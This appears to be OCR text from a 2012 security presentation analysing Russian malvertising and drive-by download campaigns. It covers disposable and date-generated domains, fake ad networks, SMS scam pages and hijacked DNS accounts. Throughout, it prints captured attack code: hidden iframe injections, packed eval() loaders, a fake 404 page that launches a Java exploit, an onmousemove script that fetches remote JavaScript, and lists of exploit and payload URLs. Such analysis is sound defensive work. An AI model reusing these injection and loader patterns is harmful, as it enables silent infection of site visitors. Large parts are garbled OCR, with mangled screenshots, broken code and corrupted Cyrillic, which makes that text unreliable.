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Campaign #1

- use of domains with extremely short lifetime

- frequent changes of hosting ip addresses (2
times/day)

- different methods of traffic redirection
— Iframe redir
— ad. network simulation

— SMS paid services (genealogical archives, fake
av updates, horoscopes, etc)

- preliminary collection of the target system
information (OS/Browser version)
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Short-term and disposable
domain names

Frequently used domains:

abrmrbzikxltvh.lines-arrayirs-frrccad.org

\ J
|

\ )
!

Randomly

generated Dictionary-based generation

also:

zfkimpacts-mobilized.analoguefsoqgcircular-hrgvredeemabletgpl.org

\ |
\ |
! Y

Dictionary based Dictionary based generation

Other things to notice:

- IP addresses are usually located within the same subnet

- IP addresses change every 12 hours (incrementally)

- subnets change monthly

- whois information disappears right after domain disposal (domains on trial)
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Participants examples

dominospizza.ru -->
qakmwkqdhybpc.give-from-gzi-bgqi-ranb.org
peoples.ru -->
skinigvfh.money-middle-orm-ukna-xbgb.org

flnews.ru -->
xdgospocepx.panel-book-tzha-uekydtfm.org

euro-football.ru -->
ofbgpimx.manager-vipufpncztf-nezp.org
gotovim.ru -->

cstermbktwelnv.cat-email-ceepgm-mfm.org

sroot@thebox:~$ whois cstermbktwelnv.cat-email-ceepgm-mfm.org
NOT FOUND




Whois fastflux :-)

e WHOIS fastflux ... HOW?!

1’ 'grave@borzo: whois FOOTBALL-SECURITY-WETRLSGPIEO.ORG

fy - grave@borzo:~$ |

Domain ID:D166393631-LROR

Domain Name:FOOTBALL-SECURITY-

WETRLSGPIEO.ORG

Created On:21-Aug-2012 01:23:52 UTC

Last Updated On:21-Aug-2012 01:23:53 UTC

Expiration Date:21-Aug-2013 01:23:52 UTC

Sponsoring Registrar:Click Registrar, Inc. d/b/a

publicdomainregistry.com (R1935-LROR)

Status CLIENT TRANSFER PROHIBITED
OHIBITED

Status:ADDPERIOD

Registrant ID:PP-SP-001

Registrant Name:Domain Admin

Registrant Organization:PrivacyProtect.org 13
Ranictrant <{traat1- ' IDH1O07R0 PO Ry 1A




Words distribution (len >3) In
domain names

games football films .
generation email

. elite
hosting
black

information pedin

insert
baseball

integer
audio

Juice
array
length o
lines window
magazine white
manager video

middle string

security



Dynamically generated URLs. Old style

Entry request:

http://whtgevsmddpiue.socks-information-
zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/

OS/browser version information:

http://whtgevsmddpiue.socks-information-
zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/
50601014edaf66917d1c47d4G1,6,0,30G10,1,0,0

Exploit execution:

http://whtgevsmddpiue.socks-information-
zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/
50601016edaf66917d1c4831/1495394/jAA2ingo.jar

Upon successeful exploitation, payload is fetched:

http://whtgevsmddpiue.socks-information-
zffmagvonv.org/4ffa973cf08d249725000003/50011735362caad364000023/
50601016edaf66917d1c4831/1495394/1196140
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Dynamically generated URLs, “new style”

Initial request:

http://ksizxzbabahgdzxhlnu.conservatism-xrplsubmitshebm.org/officiallyracer-
unbelievably.htm

OS/browser information fetching and exploit selection:

http://ksizxzbabahgdzxhinu.conservatism-
xrplsubmitshebm.org/508fb5a331892c2e7d0be70k/1,6,0,21/10,1,0,0/for
umax244.php

Exploit:
http://ksizxzbabahgdzxhinu.conservatism-
xrplsubmitshebm.org/508fb5a731892c2e7d0be7a6/1495394/kinopo.jar

payload loaded upon successful exploitation:

http://ksizxzbabahgdzxhlnu.conservatism-
xrplsubmitshebm.org/508fb5a731892c2e7d0be7a6/1495394/1863721

16



# Fiddler - HTTP Debugging Proxy - |
File Edit Rules Tools WYiew Help GET fbook  Privacy

) #pReplay K+ b Resume | Stream HEiDecode | Keep: All sessions + &) Any Process 38 Find (Bl Save | B8 @ Browse - i Clear Cache 3% Textwizard | [ Tearoff (7] Y Orline
Web Sessions ik @ FiddlerScript ] [ Filers l El Log ] = Timeline
[ Protocol | - Host | URL [ Bosy [ .Cnnter!t-Type | FTI = () Statistics 4 Inspectars ] 4 AutoResponder l & Composer Differ
HTTP imzZ-tub-ru.wandex.met  [iPid=493583329-67-72 5347 image|ipeq Fil _ ) ) )
HTTR video-tub-ri,yandex.net  [Pid=46004992-10-1280=2 s0g magefipeq Fil Headers | TextWiew | SyntaView wiebForms HexWiew | Auth Cookjes Raw J30N
HTTP vandex.st [serpl34.112/pages-deskt.., 512 texkfhtml; charset=UTF-8  Fil AML
HTTF vabs.yandex.r fcounkfZUhpolZcsbvi4000, 512 text/html; charset=UTF-8  fil Request Headers ; o Gt i
HTTP Favicon.yandesx.net  Faviconiwen, perik.rgfw, ., g1z text/htrnl; charset=UTF-8  Fil IW—
HTTF wy bns-counter.rg Y133 R eandes_rofraf, 512 textfhtml; charset=UTF-2  fil Client -
HTTF me.yandex.ru  fwakch/731962 512 textfhtml; charset=UTF-2  fil Accept: test/html, application/x<html-ml, applicationfxml g=0.9, **10=0.8 1
HTTP wande:x.ro  Jolckfclickfdata=aY00DE. .. 512 teskfhiml; charset=IUTF-8  Ffi ficcept-Charset: windows-1251,utF-8;q=0.7,% =07
HTTP L P .
HTTP T t
~  Transpor
HTTR
HTTR & e
Location: http://eywxcqybd.task-ansiillvspl-vaw.org/4ff:
HTTP . o ’ ’ j
HTTP . . S . B ———
HTTP v perik.r fmodules)systenfsystem-, . Q35 text/iss Fil o Cookiss Raw 150N ML
HTTP 127 text/iss Fil
HTTF 67 bewkfess Fi Response Headers aw] [Header Definition
HTTP 575 testfcss Fit HTTPFM.1 302 Moved Temporarily
HTTP 0s7 text/oss il Cache
HTTP vy, petik.ry fmodulesfcommentfcomm, .. 211 textfiss il Date: Thu, 20 Sep 2012 07:43 m
HTTP v perikry fsitestUthemes perik/sty,.. 16529 text/css fil Wary: Accept-Encoding
HTTF winney perik.ra fsibes @ aultffilesfimages. ., 31503 image/jpeg il #-Cache: M35 from 10.22.8.
HTTP e, perikar  fsitest themes/perikfwin.. 219 image)aif il Cookies / L'_Jgin ) ) .
HTTP v perikry jpie/bannfbalacns. jog {0532 imane/ipeq fi Set-Cnnhe: myt|me=13481;6 pires=Fri, 21-Sep-2012 07:42:13 GMT
HTTP ) L ) R Set-Cookie: counter=1; expirg Pl1-Sep-2012 07:42:13 GMT
[html Entity
: Zontent-Length: 92
HTTR e PETIR T E Bl Fi Content-Type: bextfhtml
HTTP v perik.rg fiscimenu-leaf. png 194 imageiprg il Miscellaneous
HTTP v perik.ra fiscimenu-collapsed. png 108 imageiprg Fil Server: ngine0.7.67
HTTP v perik.r Jsicesialthenmesperikfimg. .. 320 image)aif Fil : R AT
HTTP v perik.r Jsicesialthenmesperikfimg. .. 176 image)aif Fil Transport
HTTF v perik.r Jsicesfalfthemesperikfimg... 51043 image/jpeg Fil Location: http:ffewwxcgybd. bask-ansiillvspl-vaw. orgf4fFa973cf0Ed2497 25000003 4FF abc 2 1ebfSFFOcS2000082
HTTP counter.vadroru  JhitPel6,4;rhktbp%e300van. .. 32 n.. textihtml Fil Procey-Connection: Keep-alive
HTTP v petik.rg fsites)allfthemesiperikfing. . 52 imagejgif il Wiar 1.1 10.22.8.13 (McAfes Web Gateway 7.2.0.2.0,13603)
HTTP v perik.rg  Jsicesialthernes/perikfimg. . 176 irmage)gif il
HTTP evwcgybd.task-ansillvspl-vaw.org  J4fFa97 3cf0Sd249725000, ., 39 346 text/htrnl; charset=utf-g il
HTTP counter.vadroau fhit?Pg;kle. 4 rhtkpee3agfy. .. 219 n.. imagefgif il
HTTF eviwxegybd, task-ansillvspl-waw,org  f4FFa973cf08d249725000, ., 4471 texkfhtml; charset=utf-g il . . . .
HTTP vy perik.rn (Favicon.ico 4116 m. textfhtml; charset=utf-3  fi ppl t I] - h
HTTP wed perik.rg fFavicon,ico 4116 m. text/html; charset=utf-g i a lca an ava arc IVB
eywxcqybd.task—ansﬂvspl—vaw.org 14 aS73cF08d249725000. .. 25 140 applicationfjava-archive |::>

eywicgybd.task-ansillvspl-vaw.org  [4ffa973cf0Sd249725000. .. 25 140 applicationfjava-archive

applicationfoctet-stream

evywicqybd.task-ansillvspl-vaw.org  [4fFa973cf08d249725000.,. 303 118 applicationfoctet-stream




Ad network 'simulation'

 All domains are in form of xxxxx.servebbs.net (xxxxx - random sequence
of charatcers)

 |P addresses all pointto - 178.162.164.172.
 Simulates javascript-based banner rendering:

Ad network «Tag»:

<script type="text/javascript">
var url = 'http://zelxsmj.servebbs.net’;
document.write('<sc' + 'ript language="JavaScript" ' +

'src="" + url + '/2441/88x31.jpg" border="0" width="88"
height="31"></sc' +

‘ript>')
</script>
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Ad. network simulation (cont.)

Banner and counter rendering tag:

<script height="31" width="88" border="0"
src="http://zelxsmj.servebbs.net/2441/88x31.jpg"
language="JavaScript">

document.write('<img src="http://zelxsnh.servebbs.net/img/88.qgif"><sc' +
'ript anguage="JavaScript" rel="nofollow" ' +
'src="http://zelxsnh.servebbs.net/2441/counter.xhtml"></sc' + 'ript>');

</script>

redirecting iframe:

<script src="http://zelxsnh.servebbs.net/2441/counter.xhtml"
rel="nofollow" language="JavaScript">

document.write('<ifr' + 'ame src="http://zelxsnh.servebbs.net/go.php?
id=2441&ip=xx.141.65.135&session=flbcl3363a6ace8e8505"
width="88" height="33" style="position: absolute; left: -' + '100px; top: -'
+ '100px; z-index: 1;"></ifr' + 'ame>"');

</script>

BeeTral.ru
Ml FNaTHM
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Beetraf.ru

&) BeeTraf.ru - [Nowynaem secs Baw RU tpadwmi! - Mozilla Firefox

beetraf.ru e —
IP-appec: PN T\ e 2]l
Domain:  BEETRAF.RU BEE(E)TRAF.2

nserver: nsl.beetraf.ru. 178.162.164.171 ﬂwﬂ

nserver: ns2.beetraf.ru. 178.162.182.254

state: REGISTERED, DELEGATED, UNVERIFIE

« MNy6nuHana odepra »

person: Private Person

registrar: REGTIME-REG-RIPN
admin-contact: http://whois.webnames.ru
created: 2011.09.02

cross-correlates with beetraf.ru

Random domains are typical for ad networks
Servers XXXXX.servebbs.net point to IP 178.162.164.172, which

20



Sites, which demand SMS payments

Specifics:

- use of legit ad. Networks

- use of short-term disposable domain
names

- redirect points to another domain name,

which points to the same IP address
- use of 3rd party pages with “SMS
subscription” content to confuse user

) Service - Mozilla Firefox
File Edit Wew History Bookmarks Tools Help

[ service | Ll ew Tab

& [ aminadab.servegame.org
St

HannoHanbHbIA ApXUB

* CoumanbHbie cet
1 popymbl

TenedoHHble
CNpaBOYHNKNA

ApxuBbl Nepenncy
HaceneHus

ApxuBbl cneucnyx6 .

Mckatb B: ~ ~
YsHante PoA 3aHATHMK, YBNE4YeHHA, MECTO NPOKHBAHWA, KOHTaAKTbl M

APYryro MHpOpMaLMio O YeoBeKe.
Hauate nmouck

TocnepEe BBeJeHHER (avEomon

CrMCKI NEPEMMCA HACENEHAA

Apes! CNEUCyHE

TeneonHeIR CpAE0UHKA 222 Beegute pamnnmio 4na nomcka

Cou, ceTh 1 IopyMel

Hemroro o Hanrens cafire:

« Eopmcoe

* TyWH

* Kapaeaee

+ [pokoneHko
& Tapacoe

« CoparH

n 1332154782 nioaeii B Hawvs G3zax AaHHD,

n 85% BEPOATHOCTb TOMO, YTO B HaWe 0438 BCTs
MHDOPMALMA O BAC 1 B3k GnuEks,

n 1235478 nioAeit BOCNONE30B3NMCE HAWMM CaATOM

Ot3bIB Ot3bIB OT3bIB OTt3bIB

—
Hakorian rpo cebia

MHOro MHTEpecHore,
peromeHnyio
O3AAALMTECA M BAM ..

T

A wonenbep, ouers Gina
MOPAKEHE TEM, UTE
yaHana fnaroaops 2Tomy
CABTY! MO MPEAKA B
TPEX MOKONEHWA BELAK
fiz noweeFkanmml

T

Bod woa MeTapia -
ReTeRM BOM W WoR

S
XATpetii criocof
"ApOBUTE" LenoBeKa No
ero ammamA:)
Braronaps 3Towy

cpamrmAR,
Bnaraaspa 3Tomy caiiry
4 HaWMa oV
poacTeeHHMks!

TMPOEKTY MO8 HETAHME
SepEETEA O]
Benswas s nacube
cosaaTenam canTal

Muzaun Fnaakmii

2 Auna Muxarinosa
puna BopuceHra

Nena Ceeranunan
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http://www.reg.ru/whois/?dname=178.162.164.171

Page would normally have following content

Page would normally render two frames:

First frame — points to «sequence» of domains:

<frame src="http://aureolae.dynalias.net" name="1">

<body>

<iframe scrolling="no" frameborder="0" src="http://xuzhgenteringunprofit
able.coexistingavrzconsideredfcipisahlgqnm.org/oven.php" style="wid
th: 1000px; height: 1000px;">

</body>

</frame>

2) Second frame, displays 3rd party SMS subscription page:

<frame src="http://leiskebneroby.dynalias.net/pop/ad/" name="2">

<frameset frameborder="NO" border="0" framespacing="0" rows="*">

<frame scrolling="auto" noresize="" name="dot_tk frame_content" src="http
://domain-cleaner.com/fam7/?subid=811">

</frame>

</frameset>

</frame> 29



Campaign 2 (FTP )

Specifics:
- content is served through teasertop banner network
- two methods of fetching exploit and “useful”
payload are used:
— Exploit/payload is fetched over FTP

Exploit/payload is fetched over HTTP

* When FTP used, FTP IP address is obfuscated using long-int
digital notation

* Fake sites are placed on single IP address
* Redirecting script is added to content of HTTP 404 page.
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Participants

\s- - snivid. ru 200 HTTP bteazercounter.ru  fpfvalidator, swk
404 HTTF bteazercounter.ru  fFavicon.ico [
5 s E 5 404 HTTF bteazercounter.ru [Favicon.ico 8
CHBI _I'! CHOBI'I,];[eHI'IH_ 200 HTTP s.oytimg.com  fytfswrbingcps-vFlghyiry  swf
i i 200 HTTP skat.truestat.ru  forossdomain.xml
T : 404 HTTP stak.bruestat.ru  [statistics/bteazercounter. ruf? 133273861 2056
i~ : 200 HTTP stab.bruestat.ru fvalidabef?1332738612116
200 HTTP iZytimg.com  Jcrossdomain, <ml
snovid.ru 200 HTTP iZ.ytimag.cam  fwif20UnsyraFME/hgdefault. jpg
) 200 FTP 3645455033 [Slexp2.jar
w0y S 2 T HTML ~ | £S5 Script DOM z00  FTP 3645455033 [/Slexp.jar
53 head - html 200 FTP 3645455033 [Sfexp2. jar
200 FTP 3645455033 [Slexp.jar
<a title="comrm ArToMobroie” href="word. asp?s=0aid=30"= Apvomobroms </ f o0 404 HTTE bteazercounter.ru  pfcom.class
<brx 404 HTTP bteazercounter.ru  fpfedu.cass
<brx 404 HTTF bteazercounter.ru  Jp/net.class
<bre 404 HTTP bteazercounter.ru  [plorg.class
= sesnvers 20 FIR 3645455033 [Filel . dat
=l <diwv id="teasertop_block"s
t <table cellspacing="0" cellpadding="0" style="width: 1Z0px;"=
H <div id="ymeocounter" style="display: none;"*
=l =ditr styles"position: ahsolute: lefr- —1000pw: top- Opes®
=l <iframe sre="http:/ youmebel. ru/" onload="fr onload()"s
= <html=
+ “head:
= =hody=
= @=zcripts
1 evali{functionip.,a,c,k,e,d){e=functionic) {returnic<al’’'telparselnticsa)))+i{c=cta)>3E6780rinyg. fronCharCode (c+Z2%) tc.toStrin
</scripts
=l #div style="position:absolute;left:-1000px">
= <iframe sreo="ftp://36454E850Z3/1 s htnl">
= =html>
=l <hesad~
+ <script sre="http:SSwmnr java. comfisSdeploylava. js"s
=/head>
= <hody=
<embed id="deployJavaPlugin" hidden="true" type="application/java-deployment-toolkit"=
= <=scriptr
1 ewval{functionip,a,c,k,e,d){e=functionic) {return c_ toString(3&6)};if({! "' replace(/"/ String)){wvhjile{c--){d[c
“fzcript>
Zapplet archiwe="ftp: /26454500571 exp . jar" code="morale. class"s
=/ body=
=/htmlx
<fiframes
=S dive
</bodys
“/htmls

“fiframe>
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Exploit code/payload through FTP

Ad banner:

http://teasertop.ru/js/teaserfeed.js?jen=true&fen=true&cs=windows-
1251&urh=7fdfdf9cdc4fefaf56285019405f4b98

Redirect-hosting site

http:// youmebel.ru/

Exploit selection:

Ftp://3645455031/1/s.html

exploit:

ftp://3645455031/1/exp.jar

Payload:

ftp://3645455031/filel.dat

Cookies (serve once):
http://teasertop.ru/js/1x1.qif?ref=u68t122h8154

Set-Cookie: teasertopau=dDT3000ADEMi0xd0T4MT 0edDE i dCZNVE L6 TWRFMELER RRRILTO9 50T
Set-Cookie: teasertop brbo=MC020CYSZi RGN ER ZM4Z0kZ TTZMOUOZm T AwhEM  20%30%30,

25



Redirecting Iframe

Iframe (ad + redirect):
<iframe src="http://youmebel.ru/" onload="fr_onload()">

<script>
function setCookie(name, value, expires, path, domain, secure) {
document.cookie = name + "=" + escape(value) +

((expires) ? "; expires=" + expires.toGMTString() : "") + ((path) ? "; path=" +
path : ||||)

((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "")

} if (window.top.location == window.location) { setCookie('antibot ' +
Math.floor(Math.random() * 10000000), 'true');

document.location = document.location} else { document.writeln('<div
style="position:absolute;left:-1000px"><if' + 'rame src="ft' + _ ®orommkon:
'pP://3645455029/1/s.html"></if' + 'rame></div>")}

</script>

CTpoiks
3T0O
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The same thing through HTTP

Ad tag:

http://teasertop.ru/js/teaserfeed.js?jen=true&fen=true&cs=windows-

1251&urh=7fdfdf9cdc4fefaf56285019405f4b98

k_t=126

Red Irecti ng site Azs sm HTP mabistarts.ru |
. [hed S (1] HTTH Wi, directadyert. i images) 100x 100/58/732058, jpg
h tt p : / / mo b I St a rts .ru Bleoe  z00 HTTP v, directadvert.ru  fshow, coiradp=488330div=D1v_D#A_4883380nn=
B 297 200 HTTP v, directadvert.ry fimages/100x100/05/7 11505, jpg
H H R E 295 200 HTTP v, directadwert.ru fimages/100x 10039703539, jpg
EX p I O It S e I eCtI O n L] a 299 200 HTTP v directadvert.ru fimages/100x100/31/712031.jpg
. @ 300 200 HTTP v directadvert.ru fshow, coi?adp=488348div=01v_Dd_485348nnn=
http://mobistarts.ru/s 93cf8f4030c5fcebflddff26emm o rme s | -
- E 02 404 HTTP robiskarts.ru s 93cFaF4030cSFcebf Lddff 26aTF22043
1+ ®]303 200  HTTP v, directadwert.ru - fimages/100x100/58/741158.jpg
EX p I O It - a and 200 HTTP v directadvert.ru fimages/100:x 10004745104, jpg
. . _B 305 200 HTTP v, directadvert.ru fimages/100x100/56/ 744956, jpg
h tt p . //m O b I Sta rts . rU/e_g 3 Cf8f4 O 3 O C 5 fC e bfl d d ff2 6 C@ e 200 HTTP v, directadvert.ry [show,coi?adp=488358div=DIV_DA_485352nnn=
B 307 200 HTTR v, directadwert.ru fimages/100x100/78/693475.jpg
P a y I Oa d . Blaos 200 HITP o, directadvert.ru fshow, coi?adp=488368div=01Y_Dd_488368nnn=
B 309 200 HTTP v directadvert.ru fimages/110x110/33/746633,jpg
. H -B 310 200 HTTP www directadvert.ry  fimages110:110/06/459906,jpg
h tt p " //m O b I Sta rts " ru/o_g 3 Cf8 f4 0 3 O C 5 fc e bfl d d ff2 6 (@ 311 200 HTTP v, directadvert.ry [fshow,coi?adp=488378div=DIV_DA_485374nnn=
. B 312 200 HTTP v directadvert.ru fimages/110x110/75/704378.jpg
C O O k I e S : B 313 200 HTTP v directadvert.ru fimages/110x110/34/743834.jpg
. . B 314 200 HTTP v, directadvert.ry fimages/110x110/66/743066,jpg
. ? _— @ 315 200 HTTP pe.adorweb, v fady_out, php?ld=516578CodeType=12RNum=27
p://teasertop.ru/js/1x1.qgif?ref=u
B 316 200 HTTP v, directadwert.ru fimages/110x110/10/744510.jpg
@ 317 200 HTTP pe.adonweb. v fady_out, php?Id=516588sub_id=A&CodeType=_C
C
318 200 HTTP adfrce i foodefekoobifier phpzidefasadf oo
Elaig 20 HrIP mobistarks.ry  fe_93cfEF4030c5foebf1ddifZ6a7f 22043
E 320 200 HTTP adforce.ru fuploads!306.jpg
321 200 HTTP adforce.ru fFilesimp3player, swhfile=http: /fadforce| ruffiles/bl
Elazze 200 HIP mobistarks.ru f0_93cFEF4030c5Fcebf1ddff26a7F 22043
EI 323 200 HTTP teasertop.ru  fisf1x1.qifrref=uBgt430h9366
M n =
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fake 404 response and XSS
at java.com

<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">

<html><head>

<title>404 Not Found</title>

<script src="http://www.java.com/js/deployjava.js"></script>

</head><body>

<script>

eval(function(p,a,c,k,e,d){e=function(c){return
c.toString(36) };if(!"".replace(/”/,5tring)){while(c--) {d[c.toString(a)]=k[c]|]|
c.toString(a) }k=[function(e){return d[e]} ];e=function()
{return\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)
+"\\b','g"),k[c])} }return p}('j(4.0.0'=4.0&&2.a'=\'\'){b{c(\'9\") }d(e)
{3={8:\'5\",7:2.0.f.I(\'m\",\'n\'),k:e};g.h(3,i,\'1.6\") } }',25,25,'location||
document|attributes|window|x.s.class||archive|code|O|referrer|try|throw|
catchl||href|deployjava|runApplet|null|if|s|replace|s_|e_|top'.split('|'),0,{}))

</script>

<hl>Not Found</h1l>

<p>The requested URL /s 93cf8f4030c5fcebflddff26a7f22c43 was not found
on this server.</p>

<hr>

<address>Apache/2.2.14 (Ubuntu) Server at mobistarts.ru Port 80</address>

</body></html> 28



Campaign 3 (“no mouse - no
content”)

- Mal. Tag embedded a script, which would only render malicious content if
mouse move event was detected.

- short term domains were also used
- IP addresses changed frequently

- domain names were also generated using javascript within browser. Browser
date/time settings were used to seed domain name generation. (wrong
timezone —» wrong domain name - no content served)
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Campaign 3 with tiny user interaction
TNABHAA HOBOCTW [OCTABKA KOHTAKTbI
mT R U S 0TOBAP(0B)-0PYE \EB
GIGO
Diesel
Superbody

T0OT
Movere

Andrew Christian

Intymen
Olaf Benz & Manstore
C-IN2

"functiont) |
var url = 'http://vyzola. gpbbsdhmin. shacknet.nasgs ' ;
if (cypecf window. xyzflag === 'undefined') {

window_ xyzflag = 0;
b

document onmousemows = functioni(l |

function() {
var url = 'http://yyzola.gpbbsdhmjm.shacknet.nu/g/";

document.onmousemove = function() {
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Exploit loading sequence

Script to be loaded onmousemove event:

Exploit selection:
http://gktsnwukvi.webhop.net/main.php?page=4f086f0830a83d5f
Exploit loaded:
http://gktsnwukvi.webhop.net/data/apl.php?f=97d19

if exploit successeful, payload fetched and executed:
http://gktsnwukvi.webhop.net/data/hhcp.php?c=97d19
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On mousemove script (details)

function() {

var url = 'http://yyzola.gpbbsdhmjm.shacknet.nu/g/';
{

if (typeof window.xyzflag === 'undefined")
window.xyzflag = 0;
}
document.onmousemove = function() {
if (window.xyzflag === 0) {
window.xyzflag = 1;
var head =
document.getElementsByTagName('head')[0];

var script = document.createElement('script');

script.type = 'text/javascript’;
script.onreadystatechange = function ()
{
if (this.readyState == 'complete')
window.xyzflag = 2;
}

¥
script.onload = function() {
window.xyzflag = 2;
3
script.src = url +
Math.random().toString().substring(3) + '.js';
head.appendChild(script);
}
¥

{

<{DOCTYFPE himl PUBLIC "-//W3C//DTD XHTML 1.0 Transitiomal/ EN" “http:/ wwwr wd org/TRSxhtnl 2/ DTD xhenl 1-trat
[ <henl smlns=thecp: /o w3, org /1959 xheul v
e

div id="pags'r

[ <div style="z-index: -10000; wisibilicy: hidden; position: absolute; width: 50px; height: S0px;"=

«iframe width="50" scrolling="nc" height="50" frameborder="0" sro='hetp://ghtsnvikvi. vebhop.ne
©/main phpipage=4 086 f0830a53d5" >

T
</body>

</hruls
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| tetpuinfiid-alruf - nonac s Gaogle = | [ Bveetwana Eepo-Siiua in Ceperens x|
€ )?| LI v winfiedd-oil. ru | [#]1 200 HITP v winfield-olra L.
I — | 3]z 200 HITP weww winfield-oilr  fjavascriptfscript.js —_
X 200 HITP v winfield-gilru  fcss/style,css
=4 200 HITP . winfield-oil.ru - fconkent/catalog/imal.png
N ESpo-3ia DN CEpEMcHEs ABMASTCR XO3AC =]s 200 HITP v winfield-oil.ro fcontentjcatalogfimas. jpg W
Y (w]e 200 HITP v winfield-oil.ru fcontent fcatalog/imgs. jpg
7 5 2008 rogy OO «Buddwna Eepo-siwa {5 7 200 HTTP v winfield-oil.ro fcontentjcatalogfima#  jpg JeHy
MBAHAKD 1 TEXHONOMAHeCkory COMPOBOXASHIO HY ) 5 200 HITP wws winfield-oil. v feonkent/eatalog/mgl.jpg
. . 5B 200 HITR ww winfisld-ol.ru  rorkentjcatalog/imal FNG
PRO-SAla QiAn Cepprianas - 370 KOMMAHMAMOIHY W10 200 HiTe i winfisld-oll.ru  fimagesihead_backoround jpg 33
alla KOMMaHKA MPEeoCTABNAET MOMHBIA CHekTp ™)1t 200 HITe i winfisld-ol.ru mageslogs.png <ner
iz 0 HITP i winfisld-oll.ru  fimagesimenu_backoround.jpg
i3 0 HITP i winfisld-oll.ru  fimagesfmenu_i_background.jog
=reHINAMA AeATensHocT OO0 «Binding Eepo-2il =11 o0 HITE suss winfieldnll v i, g
$11s 20 HITP kupprioyrrl.gotdns.org  (g[32374592527 28355 s
YeCTEEHHOM O HedhTAHOro 0DopyA0BaHVIS; #1620 HITP akksrwkd. webhop.net  jmain. php?page=4F086F 053035345k
I¥ MATepkanoe ana OE)ODV,ElOBaHIAH; Eli7 200 HITP qktsnwlevi,webhop.net  fdatafapl php?f=97d19
WMEAHAS, [®18 200 HITP akksrwkvi.webhop.net  jdatajhhep phpre=97d19
OMPOBOMKAEHME
<
# Qg ~ HTML ~ | €55  Script ]
%5 Edt  body < html |5tyle - | Co...

body style.css {li
{
nin-height: 1
position: ral
i
Body style.css {li
{
background-
color: §F4Fe
color: §33333
fomt-family:


http://kuppnoynrl.gotdns.org/g/3237859292728358.js

Date-based domain generation

Compromised machine would include Iframe:

=l <iframe width="0" height="0" framsborder="0" sro="/rI0lZzle.ru"= var randomizer = ({(location href) search{/ loci//i) = -1) 7 'Zr=' 4 Math random() : ''};
= <html= function alb){forivar o="",d=1;d<b.lengchtl;dt+)ct=b(b. length-d];recurn cjvar esnew Date;eval (a{"stir
o] <head= #_extendiq
</head> headC38 © function(filenane)

{

# <body>- if (3Query.inkeray|filenane, linkedl8) == -1] {
=/ html = ${'head'}.append|'<link hrsf="' +
“/iframe> i filenawe + randomizer +
filename +
'" rel="stylesheet" media="all" /='j;
H linkedC85 = linkedC33. concat([filenaune]);
Redirect would be at the top of the page: ] (i)

P

function a(b){for(var c="",d=1;d<b.length+1;d++
http://2012316.ru/ c+=b[b.length-d];return c}var e=new Date;
. ) . . eval(a("etirw.tnemucod")+a(’//"=crs "0"=thgieh
Referer: http://dailypixel.ru/ "0"=redrobemarf "0"=htdiw emarfi<\'(")+e.getFullYear()+""
HTTP/1.1 302 Found +e.getMonth()+e.getDate()+a("ur.")+a(")'>emarfi/<>\""))
Content-Type: text/html
Date: Mon, 16 Apr 2012 13:29:20 GMT

Location:
http://07c6c97f6394018f7nigas.selfip.org/index.php
?ca5cbe59f39a8fbcl1624187cd68bb029

Proxy-Connection: keep-alive
Server: nginx/0.7.65

Vary: Accept-Encoding
Content-Length: O
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Date-based domain registration

Very recent domain registration date:

IP-appec: 188.230.57.158

Mo gaHHbIM WHOIS.RIPN.NET:

[loMeH: 2012316.RU

CepBep DNS: nsl.reg.ru.

CepBep DNS: ns2.reg.ru.

CraTtyc: 3apernctpupoBaH, neniermposaH, NpoBepeH
Peructpatop: REGRU-REG-RIPN

[ata pernctpauumn:  2012.04.14

Jarta okoHyaHua pernctpauun:  2013.04.14

[Nata ocBoboxaeHuns: 2013.05.15

New domains registered daily:

Dateltime IP Domain

16/Apr/2012:08:15:12 188.230.57.158 2012316.ru
16/Apr/2012:09:02:27 188.230.57.158 2012316.ru
17/Apr/2012:11:51:36 188.230.57.158 2012317.ru
17/Apr/2012:11:51:53 188.230.57.158 2012317.ru
18/Apr/2012:14:14:47 188.230.57.158 2012318.ru
18/Apr/2012:15:19:17 188.230.57.158 2012318.ru
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Campaign 4
(compromised DNS servers)

Legimate domains are compromised

Compromised DNS is used to generate
sub domains, which are used in
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Stolen domains, example:

Time
24/jan/2012:18:59:54

24/Jan/2012:19:00:18
25/J]an/2012:09:36:31
25/)an/2012:09:36:33
25/)an/2012:09:36:44
25/J]an/2012:09:36:45
25/Jan/2012:09:36:48

26/Jan/2012:07:28:05

31/Jan/2012:10:27:35
31/Jan/2012:10:27:47
31/Jan/2012:18:18:51
31/Jan/2012:18:19:03
04/Feb/2012:12:02:51

06/Feb/2012:09:08:51

URL
GET http://csrv2.fatdiary.org/main.php?page=7a5a09bead4d91836

GET http://csrv2.fatdiary.org/content/field.swf HTTP/1.0

GET http://csrvl5.amurt.org.uk/main.php?page=7a5a09bea4d91836

GET http://csrvl5.amurt.org.uk/content/fdp2.php?f=17

GET http://csrvl5.amurt.org.uk/content/field.swf

GET http://csrv15.amurt.org.uk/content/v1.jar

GET http://csrvl5.amurt.org.uk/w.php?f=17%26e=0

GET http://csrv23.UlUlopenvrml.org/main.php?page=7a5a09bea4d91836

GET http://csrv24.air-bagan.org/main.php?page=7a5a09bea4d91836

GET http://csrv24.air-bagan.org/content/rino.jar

GET http://csrv35.air-bagan.org/main.php?page=7a5a09bea4d91836

GET http://csrv35.air-bagan.org/getjavalnfo.jar

GET http://csrv29.prawda2.info/main.php?page=7a5a09bea4d91836

GET http://csrv89.prawda2.info/main.php?page=7a5a09bea4d91836

IP
146.185.242.69

146.185.242.69
146.185.242.69
146.185.242.69
146.185.242.69
146.185.242.69
146.185.242.69

146.185.242.69

146.185.242.79
146.185.242.79
146.185.242.79
146.185.242.79
146.185.242.79

146.185.242.79



WHAT IS COMMON

amurt.org.uk 46.227.202.68 Registered on: 15-
Oct-1999

Name servers: nsl.afraid.org

air-bagan.org 122.155.190.31 Created On:05-Aug-
2006

Name Server:NS1.AFRAID.ORG
fatdiary.org 71.237.151.22 Created On:17-Jul-2006

Name Server:NS1.AFRAID.ORG

prawda?2.info 91.192.39.83 Created On:18-Oct-
2007

Name Server:NS1.AFRAID.ORG .




Malicious domains reputation and
compromised DNS accounts

® Starting from August 2012 we detect second wave of
this campaign, be careful, examples Sep 2012

® alex0l.net -> 46.39.237.81 >>>
games.alex0l.net ->178.162.132.178

® socceradventure.net 72.8.150.14 >>>
mobilki.socceradventure.net ->
